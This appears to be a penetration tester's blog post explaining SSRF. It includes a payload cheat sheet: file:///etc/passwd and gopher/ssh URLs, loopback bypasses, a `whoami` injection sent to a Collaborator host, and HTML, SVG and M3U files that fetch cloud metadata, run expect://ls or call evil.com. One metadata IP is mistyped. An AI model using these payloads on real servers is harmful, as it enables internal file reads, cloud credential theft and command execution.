Sitemap
Mohammed Hassan

Mohammed Hassan

Cyber Security Engineer, interested in Penetration Testing

SSRF

3 min readAug 30, 2025

--

  • SSRF (Server-Side Request Forgery) is a web security vulnerability that happens when an application allows an attacker to make arbitrary HTTP requests from the vulnerable server.
  • In a Server-Side Request Forgery (SSRF) attack, The attacker can abuse functionality on the server to read or update internal resources. The attacker can supply or modify a URL which the code running on the server will read or submit data to, and by carefully selecting the URLS, the attacker may be able to read server configuration such as AWS metadata, connect to internal services like http enabled databases or perform post requests towards internal services which are not intended to be exposed.
Press enter or click to view image in full size
SSRF

Cloud Metadata

  • What is cloud metadata??
  • 169.254.164.254 is accessible internally within the machine you have access to. Provides details like internal IP, IP, hostname, project details, etc. And also it could give you access to access key and secret key

Exploitation

Tips And Tricks

sensitive places for SSRF:

  • ?url=file:///etc/passwd
  • ?url=gopher://
  • ?url=ssh:// ⇒ RCE
  • ?url=dict:// (dictionary network protocol)
  • ?url=ftp:// (file transfer protocol)
  • ?url=ldap:// (lightweight directory access protocol)
  • ?url=tftp://

if the sensitve path of local host of aws does not work just use ⇒ http://[::]

if 127.0.0.1 not work try to use ⇒ 127.1 or 127.0.0.0.0.1 and so on

if you have a website like:http://example.burpcollaporator.net ⇒ you can make RCE like :

Get Mohammed Hassan’s stories in your inbox

Join Medium for free to get updates from this writer.

http://`whoami`.example.burpcollaporator.net |http://$(whoami).example.burpcollaporator.net

then you may get the command on the burpcollaborator

Places to find SSRF

  1. Any parameter of url or uri:

url ,uri ,link ,target ,dest ,destination ,page ,path ,site ,file ,feed ,proxy ,host ,domain ,callback ,webhook ,img ,photo ,avatar ,picture ,upload_url , download ,resource ,api_url ,endpoint ,reference_url ,server ,next ,redir ,redirect ,return

2. Headers of the request

  • X-Forwarded-For:
  • X-Forwarded-Host:
  • Origin:
  • Host:
  • Forwarded-For:
  • X-Real-Ip:

3. full path of the site as:

4. inside files or xss or xml files

---------------------------file.html---------------------------

<body>
<iframe src="http://169.254.169.254/latest/meta-data/" width="500" height="500"></iframe>
</body>

---------------------------file.svg----------------------------
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
---------------------------file.svg----------------------------
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="http://evil.com/"></image>
</svg>

---------------------------file.avi----------------------------
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0
http://ssrfevil.com
#EXT-X-ENDLIST

5. Time based SSRF

--

--

Mohammed Hassan
Mohammed Hassan

Cyber Security Engineer, interested in Penetration Testing